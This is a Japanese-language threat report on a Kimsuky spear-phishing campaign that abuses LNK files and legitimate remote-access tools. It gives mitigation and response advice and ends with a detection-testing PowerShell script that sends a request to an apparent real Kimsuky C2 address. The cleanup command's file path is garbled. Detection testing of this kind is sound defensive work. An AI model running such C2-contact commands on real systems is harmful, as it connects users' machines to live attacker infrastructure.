Kimsukyが正規のRMMツールを北東アジアキャンペーンで使用

概要

Kimsuky の脅威アクターは、OneDrive にホストされた LNK ファイルを使用して、韓国と日本の標的に対してスピアフィッシングキャンペーンを実施しています。実行すると、マルウェアはスケジュールされたタスクを通じて永続性を確立し、システム情報、電子メール、およびキーストロークを盗むために PowerShell スクリプトを取得します。攻撃者は、Chrome Remote Desktop や AnyDesk といった正規のリモートコントロールツールを悪用し、通常の管理活動に紛れながらアクセスを維持しています。

調査

調査により、悪意のある LNK ファイル、難読化された VBScript、および PowerShell スクリプトを含む多段階の感染チェーンが明らかになりました。研究者は、Gmail データを収集するために設計された悪意のある Chrome 拡張機能や AnyDesk をインストールするためのスクリプトなど、専門化されたコンポーネントを分析しました。AI 生成コード内に見られる韓国語のコメントやデバッグ文字列も、オペレーターが開発中に生成 AI を使用していることを示唆しています。

軽減策

特に Windows がファイル拡張子を隠せるため、未知の送信元から受け取った LNK ファイルやリンクを開く際には注意を払うべきです。組織は、未承認の Chrome Remote Desktop または AnyDesk の導入を定期的に監査する必要があります。過度なまたは予想外の権限を持つブラウザー拡張機能を監視することも強く推奨されます。

対応

Kimsuky の活動が検出された場合、セキュリティチームは、スケジュールされたタスクについて、疑わしい項目が wscript.exe or powershell.exeを起動していないかレビューする必要があります。予期しない AnyDesk プロセスやファイルが %appdata% ディレクトリに存在する場合は、調査する必要があります。ブラウザー拡張機能とリモートデスクトップの構成を見直し、未承認のアクセスメカニズムを特定して削除するべきです。

シミュレーション実行

前提条件: テレメトリ & ベースラインの事前チェックは合格していること。

理由: このセクションは、検出ルールをトリガーするように設計された敵の技術 (TTP) の正確な実行を詳細に説明します。コマンドと説明は、特定された TTP を直接反映し、検出の論理によって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を招きます。

• 攻撃の概要とコマンド: 敵はスピアフィッシングの添付ファイルを介して Windows ワークステーションに最初の足がかりを得ました。コマンドとコントロール (C2) を確立し、システム情報の流出を開始するために、攻撃者は PowerShell のワンライナーを実行します。このスクリプトは、侵害されたサーバー上の特定の PHP エンドポイントに接触して、さらに指示を受け取るために、Kimsuky グループの既知の行動を模倣するよう設計されています。目標は、標準的な Web トラフィックに溶け込むことであり、脅威インテリジェンスによって特定された正確な C2 エンドポイントを狙うことです。

• 回帰試験スクリプト:

  # Kimsuky C2 シミュレーションスクリプト
  # このスクリプトは、検出ルールにハードコードされた URL の1つへのリクエストをシミュレートします。
  
  $c2_url = "http://103.77.242.187/view.php?type=apple&seed=simulation_test"
  $user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  
  Write-Host "[!] Kimsuky C2 通信をシミュレート中: $c2_url"
  
  try {
      # プロキシレベルのHTTPトラフィックを生成するためにInvoke-WebRequestを使用する
      $response = Invoke-WebRequest -Uri $c2_url -UserAgent $user_agent -Method Get -ErrorAction Stop
      Write-Host "[+] リクエスト完了。ステータスコード: $($response.StatusCode)"
  } catch {
      Write-Host "[-] リクエスト失敗 (IP がライブでない場合は予期される): $($_.Exception.Message)"
  }

• クリーンアップコマンド:

  # 永続ファイルは作成されていないため、クリーンアップは必要ありません。
  # ファイルがダウンロードされた場合は、次を使用: Remove-Item -Path "C:pathtomalicious_file.exe" -Force
  Write-Host "[*] シミュレーションクリーンアップ完了。"